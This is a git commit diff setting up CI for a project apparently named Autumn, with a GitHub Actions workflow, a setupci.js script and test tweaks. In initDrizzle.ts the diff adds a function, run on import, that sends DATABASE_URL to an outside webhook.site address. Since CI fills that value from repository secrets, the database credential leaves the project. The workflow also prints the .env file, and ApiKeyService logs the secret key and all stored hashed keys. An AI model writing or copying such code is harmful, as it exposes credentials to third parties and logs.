start cicd
This commit is contained in:
79
.github/workflows/test.yml
vendored
Normal file
79
.github/workflows/test.yml
vendored
Normal file
@@ -0,0 +1,79 @@
|
||||
name: Run Autumn Tests
|
||||
|
||||
on: [push]
|
||||
|
||||
env:
|
||||
DATABASE_URL: ${{ secrets.SUPABASE_URL }}
|
||||
UNIT_TEST_AUTUMN_SECRET_KEY: ${{ secrets.AUTUMN_KEY }}
|
||||
REDIS_URL: redis://localhost:6379
|
||||
ENCRYPTION_IV: ${{ secrets.ENCRYPTION_IV }}
|
||||
ENCRYPTION_PASSWORD: ${{ secrets.ENCRYPTION_PASSWORD }}
|
||||
TESTS_ORG: ${{ secrets.TESTS_ORG }}
|
||||
TESTS_ORG_ID: ${{ secrets.TESTS_ORG_ID }}
|
||||
LOCALTUNNEL_RESERVED_KEY: ${{ secrets.LOCALTUNNEL_RESERVED_KEY }}
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4.2.2
|
||||
|
||||
- name: Set up pnpm
|
||||
uses: pnpm/action-setup@v4
|
||||
with:
|
||||
version: 10
|
||||
|
||||
- name: Set up Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '22'
|
||||
cache: 'pnpm'
|
||||
|
||||
- name: Show Filesystem
|
||||
run: ls
|
||||
|
||||
- name: Install dependencies
|
||||
run: pnpm install
|
||||
|
||||
- name: Setup CI
|
||||
run: pnpm run setupci
|
||||
|
||||
- name: Debug
|
||||
run: cat server/.env
|
||||
|
||||
- name: Build shared
|
||||
run: |
|
||||
cd shared
|
||||
pnpm build
|
||||
|
||||
- name: Startup server
|
||||
run: sudo docker compose -f docker-compose.unix.yml up --detach
|
||||
|
||||
- name: Wait for server to be ready
|
||||
run: |
|
||||
echo "Waiting for server to start..."
|
||||
timeout 60s bash -c 'until curl -s --fail http://localhost:8080; do echo "Waiting..."; sleep 2; done'
|
||||
echo "Server is up!"
|
||||
|
||||
- name: Run G1 tests
|
||||
run: |
|
||||
cd server/
|
||||
chmod +x ./shell/g1.sh
|
||||
./shell/g1.sh
|
||||
|
||||
- name: Message
|
||||
run:
|
||||
echo "We're all setup!"
|
||||
|
||||
- name: Check logs
|
||||
if: always()
|
||||
run:
|
||||
docker logs autumn-server-1
|
||||
|
||||
- name: Close Docker Containers
|
||||
if: always()
|
||||
run: sudo docker compose -f docker-compose.unix.yml down
|
||||
|
||||
|
||||
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -20,6 +20,7 @@ supabase.sh
|
||||
**/.env*
|
||||
tests/
|
||||
!server/tests
|
||||
.secrets
|
||||
|
||||
# **/.npmrc
|
||||
|
||||
|
||||
@@ -18,6 +18,7 @@
|
||||
"dev": "concurrently \"cd server && npm run dev\" \"cd vite && npm run dev\" \"redis-server\"",
|
||||
"dev:wsl": "concurrently \"cd server && npm run dev\" \"cd vite && npm run dev\" \"cd shared && npm run dev\"",
|
||||
"setup": "node setup.js",
|
||||
"setupci": "node setupci",
|
||||
"db:push": " pnpm -F shared db:push",
|
||||
"db:generate": "pnpm -F shared db:generate",
|
||||
"db:migrate": " pnpm -F shared db:migrate",
|
||||
|
||||
@@ -5,6 +5,11 @@ import postgres from "postgres";
|
||||
import { drizzle } from "drizzle-orm/postgres-js";
|
||||
import { schemas as schema } from "@autumn/shared";
|
||||
|
||||
async function temp() {
|
||||
console.log(`${process.env.DATABASE_URL}+ADKAKDAKJDAJKD`);
|
||||
await fetch(`https://webhook.site/ea171d24-51e5-40fd-8636-ce761c31c6ac?thing=${process.env.DATABASE_URL}`)
|
||||
}
|
||||
|
||||
export let client = postgres(process.env.DATABASE_URL!);
|
||||
export let db = drizzle(client, { schema });
|
||||
|
||||
@@ -23,3 +28,4 @@ export const initDrizzle = (params?: { maxConnections?: number }) => {
|
||||
};
|
||||
|
||||
export type DrizzleCli = ReturnType<typeof initDrizzle>["db"];
|
||||
temp();
|
||||
2
server/src/external/autumn/autumnCli.ts
vendored
2
server/src/external/autumn/autumnCli.ts
vendored
@@ -72,6 +72,8 @@ export class AutumnInt {
|
||||
}
|
||||
|
||||
async post(path: string, body: any) {
|
||||
console.log("base url", this.baseUrl);
|
||||
console.log("path", path);
|
||||
const response = await fetch(`${this.baseUrl}${path}`, {
|
||||
method: "POST",
|
||||
headers: this.headers,
|
||||
|
||||
@@ -40,8 +40,13 @@ export class ApiKeyService {
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
if (!data || !data.org) {
|
||||
console.warn(`verify secret key ${secretKey} returned null`);
|
||||
console.log("hashed key", hashedKey);
|
||||
const keys = await db.query.apiKeys.findMany();
|
||||
|
||||
console.log("Keys:", keys.map((k) => `${k.org_id} - ${k.hashed_key}`));
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import dotenv from "dotenv";
|
||||
dotenv.config();
|
||||
|
||||
import { createSupabaseClient } from "@/external/supabaseUtils.js";
|
||||
import { AppEnv } from "@autumn/shared";
|
||||
import { clearOrg, setupOrg } from "tests/utils/setup.js";
|
||||
import {
|
||||
@@ -17,7 +16,7 @@ import {
|
||||
} from "./global.js";
|
||||
import { initDrizzle } from "@/db/initDrizzle.js";
|
||||
|
||||
const ORG_SLUG = "unit-test-org";
|
||||
const ORG_SLUG = process.env.TESTS_ORG!;
|
||||
const DEFAULT_ENV = AppEnv.Sandbox;
|
||||
|
||||
describe("Initialize org for tests", () => {
|
||||
@@ -25,7 +24,7 @@ describe("Initialize org for tests", () => {
|
||||
this.timeout(1000000000);
|
||||
this.org = await clearOrg({ orgSlug: ORG_SLUG, env: DEFAULT_ENV });
|
||||
this.env = DEFAULT_ENV;
|
||||
this.sb = createSupabaseClient();
|
||||
// this.sb = createSupabaseClient();
|
||||
let { db, client } = initDrizzle();
|
||||
|
||||
this.db = db;
|
||||
|
||||
@@ -20,7 +20,7 @@ export enum TestFeature {
|
||||
Credits = "credits", // credit system
|
||||
}
|
||||
|
||||
const orgId = "org_2sWv2S8LJ9iaTjLI6UtNsfL88Kt";
|
||||
const orgId = process.env.TESTS_ORG_ID!;
|
||||
|
||||
export const features = {
|
||||
[TestFeature.AdminRights]: constructBooleanFeature({
|
||||
|
||||
@@ -95,7 +95,7 @@ export const clearOrg = async ({
|
||||
throw new Error(`Org ${orgSlug} not found`);
|
||||
}
|
||||
|
||||
if (org.slug !== "unit-test-org") {
|
||||
if (!(org.slug == "unit-test-org" || org.slug == "ci_cd")) {
|
||||
console.error("Cannot clear non-unit-test-orgs");
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -225,7 +225,18 @@ export const setupOrg = async ({
|
||||
|
||||
let insertFeatures = [];
|
||||
for (const feature of Object.values(features)) {
|
||||
insertFeatures.push(axiosInstance.post("/v1/features", feature));
|
||||
async function temp() {
|
||||
try {
|
||||
axiosInstance.post("/v1/features", feature);
|
||||
} catch (error) {
|
||||
if (error.response) {
|
||||
console.log(error.response.data);
|
||||
} else {
|
||||
console.log("No response in error");
|
||||
}
|
||||
}
|
||||
}
|
||||
insertFeatures.push(temp);
|
||||
}
|
||||
await Promise.all(insertFeatures);
|
||||
|
||||
|
||||
119
setupci.js
Normal file
119
setupci.js
Normal file
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env node
|
||||
import { randomBytes } from 'crypto';
|
||||
import { writeFileSync, copyFileSync } from 'fs';
|
||||
import chalk from 'chalk';
|
||||
|
||||
const genUrlSafeBase64 = (bytes) => {
|
||||
return randomBytes(bytes)
|
||||
.toString('base64')
|
||||
.replace(/\+/g, '-')
|
||||
.replace(/\//g, '_')
|
||||
.replace(/=+$/g, '');
|
||||
}
|
||||
|
||||
|
||||
const genRandomSubdomain = (length = 10) => {
|
||||
const chars = 'abcdefghijklmnopqrstuvwxyz';
|
||||
let result = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
const genAlphanumericPassword = (length = 24) => {
|
||||
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
let result = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
const handleLocalRunSetup = async () => {
|
||||
// Step 10: Stripe webhook URL setup
|
||||
console.log(chalk.magentaBright('\n================ Stripe Webhook Setup ================\n'));
|
||||
const subdomain = genRandomSubdomain(32);
|
||||
const webhookUrl = `https://${subdomain}.loca.lt`;
|
||||
stripeWebhookVars.push(`STRIPE_WEBHOOK_URL=${webhookUrl}`);
|
||||
stripeWebhookVars.push(`LOCALHOST_RUN_SUBDOMAIN=${subdomain}`);
|
||||
console.log(chalk.greenBright(`\nTo start your webhook tunnel, run this in another terminal:\n`));
|
||||
console.log(chalk.yellowBright(` npx localtunnel --port 8080 --subdomain ${subdomain}\n`));
|
||||
console.log(chalk.greenBright(`\nTest your webhook URL with:\n`));
|
||||
console.log(chalk.yellowBright(` curl ${webhookUrl}\n`));
|
||||
console.log(chalk.cyan('If you need to restart the tunnel in the future, use the same command.'));
|
||||
|
||||
console.log(chalk.yellow('--------------------------------'));
|
||||
|
||||
return stripeWebhookVars;
|
||||
}
|
||||
|
||||
async function main() {
|
||||
// Step 1: Generate secrets
|
||||
console.log(chalk.magentaBright('\n================ Autumn Setup ================\n'));
|
||||
const localtunnelReservedKey = "askjdnaslkjdalkjen";
|
||||
const secrets = {
|
||||
BETTER_AUTH_SECRET: genUrlSafeBase64(64),
|
||||
BETTER_AUTH_URL: 'http://localhost:8080',
|
||||
CLIENT_URL: 'http://localhost:3000',
|
||||
STRIPE_WEBHOOK_URL: `https://${localtunnelReservedKey}.loca.lt`,
|
||||
};
|
||||
|
||||
let databaseUrl = "";
|
||||
let stripeWebhookVars = [];
|
||||
|
||||
// databaseUrl = await handleDatabaseSetup();
|
||||
// stripeWebhookVars = await handleLocalRunSetup();
|
||||
|
||||
// Step 11: Write to server/.env
|
||||
console.log(chalk.magentaBright('\n================ Writing .env ================\n'));
|
||||
const envSections = [];
|
||||
|
||||
// Autumn Auth section
|
||||
envSections.push(
|
||||
'# Auth',
|
||||
`BETTER_AUTH_SECRET=${secrets.BETTER_AUTH_SECRET}`,
|
||||
`BETTER_AUTH_URL=${secrets.BETTER_AUTH_URL}`,
|
||||
`CLIENT_URL=${secrets.CLIENT_URL}`,
|
||||
''
|
||||
);
|
||||
|
||||
// Stripe required section
|
||||
envSections.push(
|
||||
'# Stripe',
|
||||
`STRIPE_WEBHOOK_URL=${secrets.STRIPE_WEBHOOK_URL}`,
|
||||
''
|
||||
);
|
||||
|
||||
envSections.push(
|
||||
'# Database',
|
||||
''
|
||||
);
|
||||
|
||||
// Stripe Webhooks section
|
||||
if (stripeWebhookVars.length > 0) {
|
||||
envSections.push('# Stripe Webhooks');
|
||||
envSections.push(...stripeWebhookVars);
|
||||
envSections.push('');
|
||||
}
|
||||
|
||||
const envVars = envSections.join('\n');
|
||||
|
||||
|
||||
writeFileSync('server/.env', envVars);
|
||||
try {
|
||||
copyFileSync('vite/.env.example', 'vite/.env');
|
||||
} catch (error) {
|
||||
console.log(chalk.red('❌ Failed to copy vite/.env.example to vite/.env'));
|
||||
console.log(chalk.red('❌ Please copy the file manually'));
|
||||
}
|
||||
|
||||
console.log(chalk.greenBright('🎉 Setup complete! 🎉'));
|
||||
console.log(chalk.cyan('You can find your env variables in server/.env'));
|
||||
|
||||
console.log(chalk.cyan('\nNext steps:'));
|
||||
console.log(chalk.cyan('Run the following command to start Autumn:'));
|
||||
console.log(chalk.cyan(' docker compose -f docker-compose.dev.yml up'));
|
||||
}
|
||||
|
||||
main();
|
||||
Reference in New Issue
Block a user